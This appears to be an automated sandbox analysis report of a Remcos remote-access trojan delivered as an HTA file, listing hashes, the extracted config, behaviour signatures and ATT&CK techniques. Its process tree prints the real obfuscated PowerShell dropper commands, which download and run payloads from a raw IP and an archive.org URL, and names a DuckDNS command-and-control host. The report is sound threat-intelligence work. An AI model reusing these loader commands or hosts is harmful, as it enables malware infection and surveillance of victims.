remcos | 2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
25-09-2024 16:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d6a04e7ba31d063b7176e3f9fc96c46a.hta
Size

115KB
MD5

d6a04e7ba31d063b7176e3f9fc96c46a
SHA1

e8929b14ea18c20d4a81ac3faf681031924c9d14
SHA256

2377328ff0a0b26133c534cb523576567f94d73726102f905e97f813b20a86a2
SHA512

81fc9692f3e031cedbfd0623b69b21017504a8376e14ef3ee002b14517e857e45b07191bb84436e1bfebf1fa8fd6a375dc61716bebb253db2e4c015f740424b0
SSDEEP

96:Ea+M7XjJ7GJyXOVKBhqCJgqC8R7JR2JacLZL+dJAcAT:Ea+QXjJaJpKBgVOJEJwdJArT

Score

10^/10

remcos remotehost defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

RemoteHost

ramcxx.duckdns.org:50312

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M3P7YT
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
15	1852	powershell.exe
23	1380	powershell.exe
44	1380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4004	powershell.exe
1380	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
1852	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1380 set thread context of 3524	1380	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1852	powershell.exe
1852	powershell.exe
4004	powershell.exe
4004	powershell.exe
1380	powershell.exe
1380	powershell.exe
1380	powershell.exe
1380	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1852	powershell.exe
Token: SeDebugPrivilege	4004	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3524	RegAsm.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 4216 wrote to memory of 1056	4216	mshta.exe	82
PID 4216 wrote to memory of 1056	4216	mshta.exe	82
PID 4216 wrote to memory of 1056	4216	mshta.exe	82
PID 1056 wrote to memory of 1852	1056	cmd.exe	84
PID 1056 wrote to memory of 1852	1056	cmd.exe	84
PID 1056 wrote to memory of 1852	1056	cmd.exe	84
PID 1852 wrote to memory of 4256	1852	powershell.exe	85
PID 1852 wrote to memory of 4256	1852	powershell.exe	85
PID 1852 wrote to memory of 4256	1852	powershell.exe	85
PID 4256 wrote to memory of 4728	4256	csc.exe	86
PID 4256 wrote to memory of 4728	4256	csc.exe	86
PID 4256 wrote to memory of 4728	4256	csc.exe	86
PID 1852 wrote to memory of 3144	1852	powershell.exe	91
PID 1852 wrote to memory of 3144	1852	powershell.exe	91
PID 1852 wrote to memory of 3144	1852	powershell.exe	91
PID 3144 wrote to memory of 4004	3144	WScript.exe	92
PID 3144 wrote to memory of 4004	3144	WScript.exe	92
PID 3144 wrote to memory of 4004	3144	WScript.exe	92
PID 4004 wrote to memory of 1380	4004	powershell.exe	94
PID 4004 wrote to memory of 1380	4004	powershell.exe	94
PID 4004 wrote to memory of 1380	4004	powershell.exe	94
PID 1380 wrote to memory of 4088	1380	powershell.exe	100
PID 1380 wrote to memory of 4088	1380	powershell.exe	100
PID 1380 wrote to memory of 4088	1380	powershell.exe	100
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101
PID 1380 wrote to memory of 3524	1380	powershell.exe	101

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\d6a04e7ba31d063b7176e3f9fc96c46a.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4216
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1056
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1852
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qvcuang3\qvcuang3.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4256
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85F9.tmp" "c:\Users\Admin\AppData\Local\Temp\qvcuang3\CSCFB360423DFAB41968EA81BC81B8DE046.TMP"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4728
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"
      4⤵
      Checks computer location settings
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3144
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4004
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') | . ( $eNV:COmspEc[4,26,25]-jOiN'')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1380
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:4088
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3524

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
102B

MD5
cfbffb170c98a39dfbd1160e75f1c34c

SHA1
c1c656e0b0fbbc4f488f7e474d6c9c2458c51fc0

SHA256
85cf8b18cad890e17465a24e1696d51d31680d46e22b0cc7b081411e377a8021

SHA512
a350fa3744106798eee0d111a192a25294d73a9927dc4f1840398f8346699032c94bb03b3692e9a9d8cc150f22cc345e2d332d3bd77918131f248347bcc2d31b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9faf6f9cd1992cdebfd8e34b48ea9330

SHA1
ae792d2551c6b4ad5f3fa5585c0b0d911c9f868e

SHA256
0c45700b2e83b229e25383569b85ddc0107450c43443a11633b53daf1aaed953

SHA512
05b34627f348b2973455691bcb7131e4a5236cfece653d22432746ccd14d211b9b279f0913fbd7bb150f00eb2f2c872f4f5518f3903e024699fd23c50d679e97

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
e6b2d1063b9c1c27969bfd8e606dc498

SHA1
11f8f6122ad196c224ff5e7db1ae472bb40c25d2

SHA256
6d3af49b30a1d7d4b960c057751c30f5a160016610b1daff46c62804417b829f

SHA512
76f60d581a388e546f849750e893602b63ab71b43c7aeec429d58f39ee020cc54d33ba27ea14b8947f79bf5e956a6fbc5d078d4e917ff66f77d72416f4568f61

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
ccdd06df6387ba0aba6b664639366fc0

SHA1
8758f84dc71b2174e5db8aa2551cb87c08cb608d

SHA256
e4f673754a6af5629e822d26ff4783033706f4cdff02ef696f5363083ed0a765

SHA512
1087426b34b27ba574ad8c590a0b37c78f333a22f36503ead608db89bec93ee8a13821f03ccd8ef81f86ab00099cf74f4ec1a9b1bf2728cbed67426c3720ce10

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES85F9.tmp

Filesize
1KB

MD5
e3628b261db3295436d68289eea6f46d

SHA1
f6856354b6f2586a3176a649e959598f3ed67a5d

SHA256
b95b6faa40aa3959a92f11ece96f2b5df1588f194055803915e8ff8928ab938f

SHA512
4ec627aca4c81e6b8a30e65b60b7165789c60a9a121dbba1cd94c75a4dbb4f03f48e170dcba7c0736c5bd4dbc09c447adfb1f10148d26bfe160e1423e5f3ba3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_odv2scpb.kqf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\qvcuang3\qvcuang3.dll

Filesize
3KB

MD5
61ec36956e6f69b6e7ef3e6b82d7328d

SHA1
29b75528cf9776ee79244e50c542f9af732b7319

SHA256
834d1b1fcceeaad3f45de7fd0d4dcee05010cd3a48aeb180c216eeb106efba8b

SHA512
9ed7ea204abfb2706409ab8bd9e1a456711461bfe3e31acf55620a3c616c4fe153497902b6fc954fadc46b5827cb041182394fe135e38151bcad49e5ad0ccec6

Download Submit
C:\Users\Admin\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs

Filesize
254KB

MD5
10a145cb87654a33c6c0beda947466b8

SHA1
a504192f1b5ac44e6e49b4bc9ef660220c604469

SHA256
80e7c85eeb0a57e9f50e7d84e0eb1b2f2230837b53080d24696fab7373e9bc03

SHA512
fbc4f71668b7af09338ae7060c04dd8feed091b3b7adb490647c92d731cefca4b1e929d36f750563ff0afa14b797984625eaf964f25a3f71b597343d79ec891a

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qvcuang3\CSCFB360423DFAB41968EA81BC81B8DE046.TMP

Filesize
652B

MD5
ad0500edaa138b5003ec1fc4d4662c0c

SHA1
a2656d04aa80523670c32d431924544001006971

SHA256
51e291ffd2244e414903a2a057ac4d69b2c836911b0e3bbd35cd666a70666bad

SHA512
36229d227092908bdc9775faf5ba6aba53efc10575fb5dd844ceca8cc733ff400b230a3524a7fcd541f2933881dfe4d749e5bc04cd2de492c508943c013264ac

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qvcuang3\qvcuang3.0.cs

Filesize
474B

MD5
f884800327d4027747da358d54a2953c

SHA1
b1d1103720a4787bb3cb5832461f367275978422

SHA256
13de24eeafc24c4a53199d015b92dd5ddcd552ceaa74fb14d2bbb26dc6366e9b

SHA512
cbfd55f5481da04f30d8590b64cc314751b158cbf775686a11f430b0619d069adc16c2a387fd1789b49a10aa760b4ab36cb12f96f21c4208abb89a5f0d52c520

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qvcuang3\qvcuang3.cmdline

Filesize
369B

MD5
66f3116645db403d83275f978adc119f

SHA1
b3707843f89616a9661bda27848320bfb5234c3c

SHA256
9bec3217b09bc18e96afe5c903d2d321fd3926f0b341ffc975ad9d83ebdc8063

SHA512
54e40e96e570da4896bc8a63263d278e110e1b23dd21c533ddf420b5446ccea058ee74cead327ef7b767a152caff55700324cfde9df91f5d95fe7594e161eb31

Download Submit
memory/1380-97-0x0000000007D30000-0x0000000007F3C000-memory.dmp

Filesize
2.0MB

Download
memory/1380-98-0x0000000007F40000-0x0000000007FDC000-memory.dmp

Filesize
624KB

Download
memory/1852-65-0x00000000713A0000-0x0000000071B50000-memory.dmp

Filesize
7.7MB

Download
memory/1852-34-0x0000000006DC0000-0x0000000006E63000-memory.dmp

Filesize
652KB

Download
memory/1852-66-0x0000000007370000-0x0000000007392000-memory.dmp

Filesize
136KB

Download
memory/1852-33-0x00000000060F0000-0x000000000610E000-memory.dmp

Filesize
120KB

Download
memory/1852-67-0x0000000008120000-0x00000000086C4000-memory.dmp

Filesize
5.6MB

Download
memory/1852-35-0x00000000713A0000-0x0000000071B50000-memory.dmp

Filesize
7.7MB

Download
memory/1852-36-0x00000000713A0000-0x0000000071B50000-memory.dmp

Filesize
7.7MB

Download
memory/1852-37-0x00000000074F0000-0x0000000007B6A000-memory.dmp

Filesize
6.5MB

Download
memory/1852-38-0x0000000006E70000-0x0000000006E8A000-memory.dmp

Filesize
104KB

Download
memory/1852-39-0x0000000006ED0000-0x0000000006EDA000-memory.dmp

Filesize
40KB

Download
memory/1852-40-0x00000000070F0000-0x0000000007186000-memory.dmp

Filesize
600KB

Download
memory/1852-41-0x0000000007050000-0x0000000007061000-memory.dmp

Filesize
68KB

Download
memory/1852-42-0x0000000007080000-0x000000000708E000-memory.dmp

Filesize
56KB

Download
memory/1852-43-0x0000000007090000-0x00000000070A4000-memory.dmp

Filesize
80KB

Download
memory/1852-44-0x00000000070D0000-0x00000000070EA000-memory.dmp

Filesize
104KB

Download
memory/1852-68-0x00000000713A0000-0x0000000071B50000-memory.dmp

Filesize
7.7MB

Download
memory/1852-19-0x0000000005BB0000-0x0000000005BFC000-memory.dmp

Filesize
304KB

Download
memory/1852-18-0x0000000005B20000-0x0000000005B3E000-memory.dmp

Filesize
120KB

Download
memory/1852-17-0x0000000005540000-0x0000000005894000-memory.dmp

Filesize
3.3MB

Download
memory/1852-7-0x00000000054D0000-0x0000000005536000-memory.dmp

Filesize
408KB

Download
memory/1852-6-0x00000000052F0000-0x0000000005356000-memory.dmp

Filesize
408KB

Download
memory/1852-58-0x00000000070C0000-0x00000000070C8000-memory.dmp

Filesize
32KB

Download
memory/1852-64-0x00000000713AE000-0x00000000713AF000-memory.dmp

Filesize
4KB

Download
memory/1852-20-0x0000000006AD0000-0x0000000006B02000-memory.dmp

Filesize
200KB

Download
memory/1852-23-0x000000006DE00000-0x000000006E154000-memory.dmp

Filesize
3.3MB

Download
memory/1852-22-0x00000000713A0000-0x0000000071B50000-memory.dmp

Filesize
7.7MB

Download
memory/1852-45-0x00000000070C0000-0x00000000070C8000-memory.dmp

Filesize
32KB

Download
memory/1852-5-0x00000000713A0000-0x0000000071B50000-memory.dmp

Filesize
7.7MB

Download
memory/1852-74-0x00000000713A0000-0x0000000071B50000-memory.dmp

Filesize
7.7MB

Download
memory/1852-4-0x0000000004B40000-0x0000000004B62000-memory.dmp

Filesize
136KB

Download
memory/1852-1-0x0000000004540000-0x0000000004576000-memory.dmp

Filesize
216KB

Download
memory/1852-3-0x00000000713A0000-0x0000000071B50000-memory.dmp

Filesize
7.7MB

Download
memory/1852-0-0x00000000713AE000-0x00000000713AF000-memory.dmp

Filesize
4KB

Download
memory/1852-21-0x000000006DC60000-0x000000006DCAC000-memory.dmp

Filesize
304KB

Download
memory/1852-2-0x0000000004CC0000-0x00000000052E8000-memory.dmp

Filesize
6.2MB

Download
memory/3524-110-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-123-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-104-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-116-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-101-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-137-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-115-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-122-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/3524-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
